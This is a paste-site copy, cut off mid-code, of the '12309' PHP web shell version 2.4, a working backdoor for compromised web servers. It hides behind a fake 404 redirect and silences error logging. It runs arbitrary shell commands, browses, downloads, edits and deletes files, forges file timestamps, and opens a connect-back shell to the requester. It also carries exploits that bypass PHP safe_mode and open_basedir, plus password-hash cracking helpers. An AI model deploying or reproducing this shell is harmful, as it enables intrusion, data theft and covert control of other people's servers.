· 9 years ago · Jul 16, 2017, 05:50 PM
1<?php
2//th1s 1s ultr4l33t php websh3ll || uz3 1t f0r 3duc4t10n4l purp0zes 0nly :P
3if(isset($_GET['pfs'])) {
4 if(empty($_GET['path'])) {
5 $path="./";
6 } else {
7 $path=$_GET['path'];
8 }
9 findsock($path);
10}
11@session_start();
12if(isset($_REQUEST['l0g1n'])) {
13 $_SESSION['l0g1n']=session_id();;
14}
15if(!isset($_SESSION['l0g1n'])) {
16 header("Location: http://".$_SERVER['SERVER_NAME']."/404.html");
17}
18$ver="2.4";
19// --------------------------------------------- globals
20@ini_set('display_errors',0);
21@ini_set('log_errors',0);
22@error_reporting(0);
23@set_time_limit(0);
24@ignore_user_abort(1);
25@ini_set('max_execution_time',0);
26$pageend='</body></html>';
27$htaccesses=array('cgi' => "Options +Indexes +FollowSymLinks +ExecCGI\nAddType application/x-httpd-cgi .pl .py", 'ssi' => "Options +Includes\nAddType text/html .shtml\nAddHandler server-parsed .shtml\nAddOutputFilter INCLUDES .shtml");
28if($_POST['action']!="") {
29 $_SESSION['action']=$_POST['action'];
30 $action=$_SESSION['action'];
31} else {
32 $action="viewer";
33}
34// download file or command execution result
35if($action=="download" or $_POST["down"]=="on") {
36 $download="1";
37}
38if ($download == "1") {
39 if (isset($_POST["file"])) {
40 header('Content-Length:'.filesize($_POST["file"]).'');
41 }
42 header("Content-Type: application/force-download");
43 header("Content-Type: application/octet-stream");
44 header("Accept-Ranges: bytes");
45 if (isset($_POST["filename"])) {
46 header('Content-Disposition: attachment; filename="'.$_POST["filename"].'"');
47 } elseif (isset($_POST["file"])) {
48 header('Content-Disposition: attachment; filename="'.$_POST["file"].'"');
49 } else {
50 header('Content-Disposition: attachment; filename="result.txt"');
51 }
52}
53@set_magic_quotes_runtime(0);
54@ini_set("magic_quotes_runtime", 0);
55// slashes fix by r00nix
56if (get_magic_quotes_gpc()) {
57 function stripslashes_deep($value) {
58 $value = is_array($value) ?
59 array_map('stripslashes_deep', $value) :
60 stripslashes($value);
61 return $value;
62 }
63 $_POST = array_map('stripslashes_deep', $_POST);
64 $_GET = array_map('stripslashes_deep', $_GET);
65 $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
66 $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
67}
68$descriptorspec = array(
69 0 => array("pipe", "r"),
70 1 => array("pipe", "w"),
71 2 => array("pipe", "w")
72);
73$helpscript='function showTooltip(id)
74{
75 var myDiv = document.getElementById(id);
76 if(myDiv.style.display == "none"){
77 myDiv.style.display = "block";
78 } else {
79 myDiv.style.display = "none";
80 }
81 return false;
82}';
83$resizescript='function changeSize(elem){
84 if(event.keyCode==13){
85 elem.rows = elem.rows+1;
86 }
87 var oldrows = getrows(elem);
88 var myTxtAreaSize = elem.value.length;
89 var newrows = (myTxtAreaSize / 80 | 0)+1;
90 if(newrows>oldrows){
91 elem.rows = newrows;
92 } else {
93 elem.rows = oldrows;
94 }
95}
96function getrows(elem){
97 var text = elem.value.replace(/\s+$/g, "\n");
98 var aNewlines = text.split("\n");
99 var iNewlineCount = aNewlines.length;
100 return iNewlineCount;
101}';
102$design='function cleard() {
103 document.cookie="d=c; path=/;";
104 window.location.reload();
105}
106function blackd() {
107 document.cookie="d=b; path=/;";
108 window.location.reload();
109}';
110if ($_COOKIE['d'] != "c") {
111 $style='<style type="text/css">
112 a {
113 color: yellow;
114 text-decoration: none;
115 text-shadow: black 0px 0px 4px;
116 }
117 input {
118 background-color: #303030;
119 color: #73ba25; /* guess why */
120 border: none;
121 }
122 textarea {
123 background-color: #303030;
124 color: #73ba25;
125 border: none;
126 }
127 input[type="submit"] {
128 background-color: gray;
129 color: white;
130 }
131 select {
132 background-color: black;
133 color: yellow;
134 }
135 body {
136 background-color: black;
137 color: white;
138 }
139 </style>';
140} else {
141 $style='';
142}
143if ($_COOKIE['d'] == "c") {
144 $button='<input type="button" value="black style" onclick="blackd()"></span><br><br>';
145 } else {
146 $button='<input type="button" value="clear style" onclick="cleard()"></span><br><br>';
147}
148$title='<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
149<!-- made by 12309 || cheerz to Tidus, Shift, pekayoba, Zer0, ForeverFree, r00nix and all people whose code i borrowed || exploit.in f0r3v4 -->
150<html>
151 <head>
152 <title>12309 '.$ver.'</title>
153 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'.$style.'</head><body><script type="text/javascript">'.$helpscript.''.$resizescript.''.$design.'</script><span style="float:left;"><form name="page" method="post" action="'.$_SERVER["PHP_SELF"].'"><input name="p" type="hidden" value=""></form><b><a href="#" onclick=\'document.page.p.value="f";document.page.submit();\'>file operations</a></b> || <b><a href="#" onclick=\'document.page.p.value="s";document.page.submit();\'>execute command</a></b> || <b><a href="#" onclick=\'document.page.p.value="b";document.page.submit();\'>bind/backconnect</a></b> || <b><a href="#" onclick=\'document.page.p.value="e";document.page.submit();\'>extras</a></b></span><span style="float: right;">'.$button.'';
154// --------------------------------------------- symbolic permissions
155function fperms($file,$request) {
156 $perms = fileperms($file);
157 if (($perms & 0xC000) == 0xC000) {$info = 's';}
158 elseif (($perms & 0xA000) == 0xA000) {$info = 'l';}
159 elseif (($perms & 0x8000) == 0x8000) {$info = '-';}
160 elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}
161 elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}
162 elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}
163 elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}
164 else {$info = '?';}
165 if ($request == "string") {
166 $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
167 $info .= (($perms & 0x0020) ? 'r' : '-');$info .= (($perms & 0x0010) ? 'w' : '-');$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
168 $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-');$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
169 return $info;
170 } elseif ($request == "array") {
171 $o["r"] = ($perms & 00400) > 0; $o["w"] = ($perms & 00200) > 0; $o["x"] = ($perms & 00100) > 0;
172 $g["r"] = ($perms & 00040) > 0; $g["w"] = ($perms & 00020) > 0; $g["x"] = ($perms & 00010) > 0;
173 $w["r"] = ($perms & 00004) > 0; $w["w"] = ($perms & 00002) > 0; $w["x"] = ($perms & 00001) > 0;
174 return array("t"=>$info,"o"=>$o,"g"=>$g,"w"=>$w);
175 } else {
176 return "request?";
177 }
178}
179function view_perms_color($file) {
180 if (!is_readable($file)) {
181 return "<font color=red>".fperms($file,"string")."</font>";
182 } elseif (!is_writable($file)) {
183 return "<font color=white>".fperms($file,"string")."</font>";
184 } else {
185 return "<font color=green>".fperms($file,"string")."</font>";
186 }
187}
188// --------------------------------------------- touch file
189function touchz($file) {
190 $form=TRUE;
191 if (isset($_POST["touch_submit"])) {
192 $date=explode(" ",$_POST["time"]);
193 $day=explode("-",$date[0]);
194 $time=explode(":",$date[1]);
195 $unixtime=mktime($time[0],$time[1],$time[2],$day[1],$day[2],$day[0]);
196 if (touch($file,$unixtime,$unixtime)) {
197 $form = FALSE;
198 echo "<br>touched ".$file." to ".$unixtime." (".$_POST["time"].") <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
199 } else {
200 echo "<br>can't touch to ".$unixtime." (".$_POST["time"].")! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
201 }
202 }
203 if ($form) {
204 echo "<br><form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
205 <input type=\"hidden\" name=\"p\" value=\"f\">
206 <input type=\"hidden\" name=\"file\" value=\"".$file."\">
207 <input type=\"hidden\" name=\"action\" value=\"touch\">
208 <input type=\"hidden\" name=\"dir\" value=\"".$_POST["dir"]."\">
209 touch ".$file." to: <input name=\"time\" type=\"text\" maxlength=\"19\" size=\"19\" value=\"".date("Y-m-d H:i:s",filemtime($file))."\">
210 <tr><td><input type=\"submit\" name=\"touch_submit\" value=\"Touch\"></td></tr>
211 </table></form>";
212 }
213 return TRUE;
214}
215// --------------------------------------------- chmod code from c99 shell, updated by 12309
216function chmodz($file) {
217 $check = fileperms($file);
218 if (!$check) {echo "<b>chmod error: can`t get current value!</b>";}
219 else {
220 $form=TRUE;
221 if (isset($_POST["chmod_submit"])) {
222 $chmod_o=$_POST["chmod_o"];
223 $chmod_g=$_POST["chmod_g"];
224 $chmod_w=$_POST["chmod_w"];
225 $octet=trim("0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8));
226 if (chmod($file,octdec($octet))) {
227 $form = FALSE;
228 echo "chmoded ".$file." to ".$octet."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
229 } else {
230 echo "can't chmod to ".$octet."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
231 }
232 }
233 if (isset($_POST["chmod_string"])) {
234 if (chmod($file,octdec($_POST["string"]))) {
235 $form = FALSE;
236 echo "chmoded ".$file." to ".$_POST["string"]."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
237 } else {
238 echo "can't chmod to ".$_POST["string"]."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
239 }
240 }
241 if ($form) {
242 $perms = fperms($file,"array");
243 echo "<br>chmoding ".$file.": ".view_perms_color($file)." (".substr(decoct($check),-4,4).") owned by: <br>".owner($file)."<br>
244 <br>input string: <form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
245 <input type=\"hidden\" name=\"p\" value=\"f\">
246 <input type=\"hidden\" name=\"file\" value=\"".$file."\">
247 <input type=\"hidden\" name=\"action\" value=\"chmod\">
248 <input type=\"hidden\" name=\"dir\" value=\"".$_POST["dir"]."\">
249 <input type=\"text\" name=\"string\" maxlength=\"4\" size=\"4\" value=\"".substr(decoct($check),-4,4)."\">
250 <input type=\"submit\" name=\"chmod_string\" value=\"Save\"></form>";
251 echo "<br> or select checkboxes:<br><form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
252 <input type=\"hidden\" name=\"p\" value=\"f\">
253 <input type=\"hidden\" name=\"file\" value=\"".$file."\">
254 <input type=\"hidden\" name=\"action\" value=\"chmod\">
255 <input type=\"hidden\" name=\"dir\" value=\"".$_POST["dir"]."\">
256 <table align=\"left\" width=\"300\" border=\"0\" cellspacing=\"0\" cellpadding=\"5\">
257 <tr>
258 <td><b>Owner</b><br>
259 <input type=\"checkbox\" name=\"chmod_o[r]\" value=\"1\"".($perms["o"]["r"]?" checked":"")."> read<br>
260 <input type=\"checkbox\" name=\"chmod_o[w]\" value=\"1\"".($perms["o"]["w"]?" checked":"")."> write<br>
261 <input type=\"checkbox\" name=\"chmod_o[x]\" value=1".($perms["o"]["x"]?" checked":"")."> execute
262 </td>
263 <td><b>Group</b><br>
264 <input type=\"checkbox\" name=\"chmod_g[r]\" value=\"1\"".($perms["g"]["r"]?" checked":"")."> read<br>
265 <input type=\"checkbox\" name=\"chmod_g[w]\" value=\"1\"".($perms["g"]["w"]?" checked":"")."> write<br>
266 <input type=\"checkbox\" name=\"chmod_g[x]\" value=\"1\"".($perms["g"]["x"]?" checked":"")."> execute
267 </td>
268 <td><b>World</b><br>
269 <input type=\"checkbox\" name=\"chmod_w[r]\" value=\"1\"".($perms["w"]["r"]?" checked":"")."> read<br>
270 <input type=\"checkbox\" name=\"chmod_w[w]\" value=\"1\"".($perms["w"]["w"]?" checked":"")."> write<br>
271 <input type=\"checkbox\" name=\"chmod_w[x]\" value=\"1\"".($perms["w"]["x"]?" checked":"")."> execute
272 </td>
273 </tr>
274 <tr><td><input type=\"submit\" name=\"chmod_submit\" value=\"Save\"></td></tr>
275 </table></form>";
276 }
277 }
278 return TRUE;
279}
280// --------------------------------------------- clearing phpversion()
281function version() {
282 $pv=explode(".",phpversion());
283 if(eregi("-",$pv[2])) {
284 $tmp=explode("-",$pv[2]);
285 $pv[2]=$tmp[0];
286 }
287 $php_version_sort=$pv[0].".".$pv[1].".".$pv[2];
288 return $php_version_sort;
289}
290// --------------------------------------------- recursive dir removal by Endeveit
291function rmrf($dir)
292{
293 if ($objs = glob($dir."/*")) {
294 foreach($objs as $obj) {
295 is_dir($obj) ? rmrf($obj) : unlink($obj);
296 }
297 }
298 if (rmdir($dir)) {
299 return TRUE;
300 } else {
301 return FALSE;
302 }
303}
304// --------------------------------------------- checking for enabled funcs
305function function_enabled($func) {
306 $disabled=explode(",",@ini_get("disable_functions"));
307 if (empty($disabled)) {
308 $disabled=array();
309 }
310 else {
311 $disabled=array_map('trim',array_map('strtolower',$disabled));
312 }
313 return (function_exists($func) && is_callable($func) && !in_array($func,$disabled) );
314}
315if (!function_enabled('shell_exec') and !function_enabled('proc_open') and !function_enabled('passthru') and !function_enabled('system') and !function_enabled('exec') and !function_enabled('popen')) {
316 $failflag="1";
317} else {
318 $failflag="0";
319}
320// -------------------------------------------- run command
321function run($c) {
322 if (function_enabled('shell_exec')) {
323 shell_exec($c);
324 } else if(function_enabled('system')) {
325 system($c);
326 } else if(function_enabled('passthru')) {
327 passthru($c);
328 } else if(function_enabled('exec')) {
329 exec($c);
330 } else if(function_enabled('popen')) {
331 $fp=popen($c,'r');
332 @pclose($fp);
333 } else if(function_enabled('proc_open')) {
334 $handle=proc_open($c,$GLOBALS["descriptorspec"],$pipes);
335 while (!feof($pipes[1])) {
336 $buffer.=fread($pipes[1],1024);
337 }
338 @proc_close($handle);
339 }
340}
341// -------------------------------------------- php <= 5.2.9 curl bug
342function sploent529($path) {
343 if (!is_dir('file:')) {
344 mkdir('file:');
345 }
346 $dirz=array();
347 $a=array();
348 $a=explode('/',$path);
349 $c=count($a);
350 $dir='file:/';
351 $d=substr($dir,0,-1);
352 if (!is_dir($d)) {
353 mkdir($d);
354 }
355 for ($i=0;$i<$c-1;++$i) {
356 $dir.=$a[$i].'/';
357 $d=substr($dir,0,-1);
358 $dirz[]=$d;
359 if (!is_dir($d)) {
360 mkdir($d);
361 }
362 }
363 if (!file_exists($path)) {
364 $fp=fopen('file:/'.$path,'w');
365 fclose($fp);
366 }
367 $ch=curl_init();
368 curl_setopt($ch,CURLOPT_URL,'file:file:////'.$path);
369 curl_setopt($ch,CURLOPT_HEADER,0);
370 if(FALSE==curl_exec($ch)) {
371 echo (" fail :( either there is no such file or exploit failed ");
372 curl_close($ch);
373 rmrf('file:');
374 echo $pageend;
375 die();
376 } else {
377 curl_close($ch);
378 rmrf('file:');
379 return TRUE;
380 }
381}
382// --------------------------------------------- php 5.1.6 ini_set bug
383function sploent516() {
384 //safe_mode check
385 if (ini_get("safe_mode") =="1" || ini_get("safe_mode") =="On" || ini_get("safe_mode") ==TRUE) {
386 ini_restore("safe_mode");
387 if (ini_get("safe_mode") =="1" || ini_get("safe_mode") =="On" || ini_get("safe_mode") ==TRUE) {
388 ini_set("safe_mode", FALSE);
389 ini_set("safe_mode", "Off");
390 ini_set("safe_mode", "0");
391 if (ini_get("safe_mode") =="1" || ini_get("safe_mode") =="On" || ini_get("safe_mode") ==TRUE) {
392 echo "<font color=\"red\">safe mode: ON</font><br>";
393 } else {
394 echo "<font color=\"green\">safe mode: OFF</font> || hello php-5.1.6 bugs<br>";
395 }
396 } else {
397 echo "<font color=\"green\">safe mode: OFF</font> || hello php-5.1.6 bugs<br>";
398 }
399 } else {
400 echo "<font color=\"green\">safe mode: OFF</font><br>";
401 }
402 //open_basedir check
403 if (ini_get("open_basedir")=="Off" || ini_get("open_basedir")=="/" || ini_get("open_basedir")==NULL || strtolower(ini_get("open_basedir"))=="none") {
404 echo "open_basedir: none<br>";
405 }
406 else {
407 ini_restore("open_basedir");
408 if (ini_get("open_basedir")=="Off" || ini_get("open_basedir")=="/" || ini_get("open_basedir")==NULL || strtolower(ini_get("open_basedir"))=="none") {
409 echo "open_basedir: none || hello php-5.1.6 bugs<br>";
410 }
411 else {
412 ini_set('open_basedir', '/');
413 if (ini_get("open_basedir")=="/") {
414 echo "open_basedir: / || hello php-5.1.6 bugs<br>";
415 }
416 else {
417 $basedir=TRUE;
418 echo "open_basedir: ".ini_get("open_basedir");
419 }
420 }
421 }
422}
423// --------------------------------------------- findsock
424function findsock($path) {
425 $VERSION = "1.0";
426 echo "findsock start\n ";
427 $c="".$path." ".$_SERVER['REMOTE_ADDR']." ".$_SERVER['REMOTE_PORT']."";
428 run($c);
429 echo " exiting\n";
430 exit();
431}
432// --------------------------------------------- search for binary
433function search($bin,$flag) {
434 if ($flag=="1") {
435 $path="";
436 return $path;
437 } else {
438 if (function_enabled('shell_exec')) {
439 $path=trim(shell_exec('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in'));
440 } else if(function_enabled('exec')) {
441 $path=trim(exec('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in'));
442 } else if(function_enabled('system')) {
443 ob_start();
444 system('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in');
445 $path=trim(ob_get_contents());
446 ob_end_clean();
447 } else if (function_enabled('popen')) {
448 $hndl=popen('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in', "r");
449 $path=trim(stream_get_contents($hndl));
450 pclose($hndl);
451 } else if(function_enabled('passthru')) {
452 ob_start();
453 passthru('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in');
454 $path=trim(ob_get_contents());
455 ob_end_clean();
456 } else if(function_enabled('proc_open')) {
457 $c='export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin && which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in';
458 $process = proc_open('/bin/sh', $GLOBALS["descriptorspec"], $pipes);
459 if (is_resource($process)) {
460 fwrite($pipes[0],$c);
461 fclose($pipes[0]);
462 $path=trim(stream_get_contents($pipes[1]));
463 fclose($pipes[1]);
464 fclose($pipes[2]);
465 @proc_close($process);
466 }
467 }
468 }
469 return $path;
470}
471// --------------------------------------------- filemanager code by Grinay, updated by 12309
472function owner($path) {
473 $user=fileowner($path);
474 $group=filegroup($path);
475 $data=$user;
476 if(function_enabled('posix_getpwuid')) {
477 $u=posix_getpwuid($user);
478 $data.=" (".$u["name"].")";
479 }
480 $data.=" <br> ".$group;
481 if(function_enabled('posix_getgrgid')) {
482 $g=posix_getgrgid($group);
483 $data.=" (".$g["name"].") ";
484 }
485 return $data;
486}
487function view_size($size) {
488 if ($size>=1073741824) { $size=@round($size/1073741824*100)/100 ." GB"; }
489 elseif ($size>=1048576) { $size=$size." B<br>".@round($size/1048576*100)/100 ." MB"; }
490 elseif ($size>=1024) { $size=$size." B<br>".@round($size/1024*100)/100 ." KB"; }
491 else { $size=$size ." B"; }
492 return $size;
493}
494function dirsize($path) {
495 $totalsize=0;
496 if ($handle=opendir($path)) {
497 while (false !== ($file = readdir($handle))) {
498 $nextpath=$path . '/' . $file;
499 if ($file!='.' && $file != '..' && !is_link ($nextpath)) {
500 if (is_dir($nextpath)) {
501 $result=dirsize($nextpath);
502 $totalsize+=$result['size'];
503 } elseif (is_file($nextpath)) {
504 $totalsize+=filesize($nextpath);
505 }
506 }
507 }
508 }
509 closedir ($handle);
510 return $totalsize;
511}
512function scandire($dir) {
513 if (empty($dir)) { $dir=getcwd(); }
514 $dir=chdir($dir) or die('<font color="red">cannot chdir!</font> open_basedir/safe_mode on?<br><br>'.$pageend.'');
515 $dir=getcwd()."/";
516 $dir=str_replace("\\","/",$dir);
517 if (is_dir($dir)) {
518 if ($dh = opendir($dir)) {
519 while (($file = readdir($dh)) !== false) {
520 if(filetype($dir.$file)=="dir") $dire[]=$file;
521 if(filetype($dir.$file)=="file" || filetype($dir.$file)=="link" || filetype($dir.$file)=="socket") $files[]=$file;
522 // if(filetype($dir.$file)=="") $files[]=$file; //debug: strange behavior of filetype() with openbasedir, it returns ""
523 // if(filetype($dir.$file)=="link") $files[]=$file;
524 // echo "file = ".$file." (".filetype($file).")<br>"; #debug
525 // if (is_link($file)) { echo " -> ".readlink($file); }; #debug
526 }
527 closedir($dh);
528 @sort($dire);
529 @sort($files);
530 echo "<table border>";
531 echo '<tr><td><form method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="p" type="hidden" value="f">go to dir:<input type="text" name="dir" value="'.$dir.'" size="30"><input name="action" type="hidden" value="viewer"><input type="submit" value="Go"></form></td></tr>';
532 echo "<tr><td>Name</td><td>Type</td><td>Size</td><td>Inode Changed<br>File Modified<br>File Accessed</td><td>Owner<br>Group</td><td>Chmod</td><td>Action</td></tr>";
533 for($i=0;$i<count($dire);$i++) {
534 $link=$dir.$dire[$i];
535 echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.$link.'\'; document.reqs.submit();">'.$dire[$i].'<a/></td><td>Dir</td><td>'.view_size(dirsize($link)).'</td><td><font size="-1">'.date("d/m/Y H:i:s",filectime($link)).'<br>'.date("d/m/Y H:i:s",filemtime($link)).'<br>'.date("d/m/Y H:i:s",fileatime($link)).'</font></td><td>'.owner($link).'</td><td>'.substr(sprintf('%o',fileperms($link)), -4).' <br>('.view_perms_color($link,"string").')</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.dir.value=\''.$dir.'\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Delete">x</a> <a href="#" onclick="document.reqs.action.value=\'chmod\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Chmod">C</a> <a href="#" onclick="document.reqs.action.value=\'touch\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Touch">T</a></td></tr>';
536 }
537 for($i=0;$i<count($files);$i++) {
538 $linkfile=$dir.$files[$i];
539 echo '<tr><td><a href="#" onclick="document.editor.filee.value=\''.$linkfile.'\'; document.editor.files.value=\''.$linkfile.'\'; document.editor.submit();">'.$files[$i].'</a>';
540 echo '<br></td><td>File</td><td>'.view_size(filesize($linkfile)).'</td><td><font size="-1">'.date("d/m/Y H:i:s",filectime($linkfile)).'<br>'.date("d/m/Y H:i:s",filemtime($linkfile)).'<br>'.date("d/m/Y H:i:s",fileatime($linkfile)).'</font></td><td>'.owner($linkfile).'</td><td>'.substr(sprintf('%o',fileperms($linkfile)), -4).' <br>('.view_perms_color($linkfile,"string").')</td><td> <a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\''.$linkfile.'\'; document.reqs.submit();" title="Download">D</a> <a href="#" onclick="document.editor.filee.value=\''.$linkfile.'\'; document.editor.files.value=\''.$linkfile.'\'; document.editor.submit();" title="Edit">E</a> <a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Delete">x</a> <a href="#" onclick="document.reqs.action.value=\'chmod\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Chmod">C</a> <a href="#" onclick="document.reqs.action.value=\'touch\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Touch">T</a></td></tr></tr>';
541 }
542 echo "</table>";
543 }
544 }
545}
546// --------------------------------------------- crypt functions by Eugen
547function entityenc($str) {
548 $text_array=explode("\r\n", chunk_split($str, 1));
549 for ($n=0; $n < count($text_array) - 1; $n++) {
550 $newstring .= "&#" . ord($text_array[$n]) . ";";
551 }
552 return $newstring;
553}
554function entitydec($str) {
555 $str=str_replace(';', '; ', $str);
556 $text_array=explode(' ', $str);
557 for ($n=0; $n < count($text_array) - 1; $n++) {
558 $newstring .= chr(substr($text_array[$n], 2, 3));
559 }
560 return $newstring;
561}
562function asc2hex($str) {
563 return chunk_split(bin2hex($str), 2, " ");
564}
565function hex2asc($str) {
566 $str=str_replace(" ", "", $str);
567 for ($n=0; $n<strlen($str); $n+=2) {
568 $newstring .= pack("C", hexdec(substr($str, $n, 2)));
569 }
570 return $newstring;
571}
572// --------------------------------------------- crypt functions by smartman
573$itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
574function to64as($input,$count) {
575 global $itoa64;
576 $output = '';
577 $i = 0;
578 while ($i < $count) {
579 $value = ord($input[$i]);
580 ++$i;
581 $output .= $itoa64{$value & 0x3f};
582 if ($i < $count) $value |= (ord($input[$i]) << 8);
583 $output .= $itoa64{($value>>6) & 0x3f};
584 ++$i;
585 if ($i >= $count) break;
586 if ($i < $count) $value |= (ord($input[$i]) << 16);
587 $output .= $itoa64{($value>>12) & 0x3f};
588 ++$i;
589 if ($i >= $count) break;
590 $output .= $itoa64{($value>>18) & 0x3f};
591 }
592 return $output;
593}
594function to64na($value,$num) {
595 global $itoa64;
596 $output = '';
597 while ($num-1 >= 0) {
598 --$num;
599 $output .= $itoa64{$value & 0x3f};
600 $value >>= 6;
601 }
602 return $output;
603}
604function unap($pwd,$salt,$magic='$1$') {
605 if (substr($salt,0,strlen($magic)) == $magic) $salt = substr($salt,strlen($magic));
606 $salt = explode('$',$salt,1);
607 $salt = substr($salt[0],0,8);
608 $ctx = $pwd.$magic.$salt;
609 $final = md5($pwd.$salt.$pwd,true);
610 for ($pl=strlen($pwd);$pl>=0;$pl-=16) {
611 $ctx .= substr($final,0,($pl>16?16:$pl));
612 }
613 $i = strlen($pwd);
614 while ($i) {
615 $ctx .= ($i&1?chr(0):$pwd{0});
616 $i >>= 1;
617 }
618 $final = md5($ctx,true);
619 for ($i=0;$i<1000;++$i) {
620 $ctx1 = '';
621 $ctx1 .= ($i&1?$pwd:substr($final,0,16));
622 if ($i % 3) $ctx1 .= $salt;
623 if ($i % 7) $ctx1 .= $pwd;
624 $ctx1 .= ($i&1?substr($final,0,16):$pwd);
625 $final = md5($ctx1,true);
626 }
627 $passwd = '';
628 $passwd .= to64na(((int)ord($final{0}) << 16)|((int)ord($final{6}) << 8)|((int)ord($final{12})),4);
629 $passwd .= to64na(((int)ord($final{1}) << 16)|((int)ord($final{7}) << 8)|((int)ord($final{13})),4);
630 $passwd .= to64na(((int)ord($final{2}) << 16)|((int)ord($final{8}) << 8)|((int)ord($final{14})),4);
631 $passwd .= to64na(((int)ord($final{3}) << 16)|((int)ord($final{9}) << 8)|((int)ord($final{15})),4);
632 $passwd .= to64na(((int)ord($final{4}) << 16)|((int)ord($final{10}) << 8)|((int)ord($final{5})),4);
633 $passwd .= to64na(((int)ord($final{11})),2);
634 return $magic.$salt.'$'.$passwd;
635}
636function phpass($pwd,$salt,$count,$prefix) {
637 $hash = md5($salt.$pwd,true);
638 for ($i=0;$i<$count;++$i) {
639 $hash = md5($hash.$pwd,true);
640 }
641 return $prefix.substr($salt,0,8).to64as($hash,16);
642}
643function genSalt($salt,$length=8,$dot=0) {
644 if (strlen($salt)>=$length) return substr($salt,0,$length);
645 global $itoa64;
646 if (!$dot) { $alphabet=substr($itoa64,2); } else { $alphabet=$itoa64; }
647 $output='';
648 for ($i=0;$i<$length;++$i) $output.=$alphabet{mt_rand(0,strlen($alphabet)-1)};
649 return $output;
650}
651function mysql4($pwd) {
652 $nr = 0x50305735;
653 $nr2 = 0x12345671;
654 $add = 7;
655 $charArr = str_split($pwd);
656 foreach ($charArr as $char) {
657 if (in_array($char,array(' ','\n'))) continue;
658 $charVal = ord($char);
659 $nr ^= ((($nr & 63)+$add) * $charVal)+($nr << 8);
660 $nr &= 0x7fffffff;
661 $nr2 += ($nr2 << 8) ^ $nr;
662 $nr2 &= 0x7fffffff;
663 $add += $charVal;
664 }
665 return sprintf('%08x%08x',$nr,$nr2);
666}
667// --------------------------------------------- main code
668if (!isset($_REQUEST['p'])) { $_REQUEST['p']="s"; }
669switch ($_REQUEST['p']) {
670 case "s":
671 if (empty($_POST["wut"]) and $download != "1") {
672 echo $title;
673 sploent516();
674 if (ini_get("safe_mode")) {
675 $failflag="1";
676 }
677 $shelltext=("uname -a");
678 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">
679 <font color="green"> haxor@pwnedbox$ </font><textarea name="command" rows="1" cols="50" onkeyup="changeSize(this)">'.$shelltext.'</textarea> <input type="submit" value="go"> <input name="p" type="hidden" value="s"><input type="checkbox" name="down"> download <br><br>';
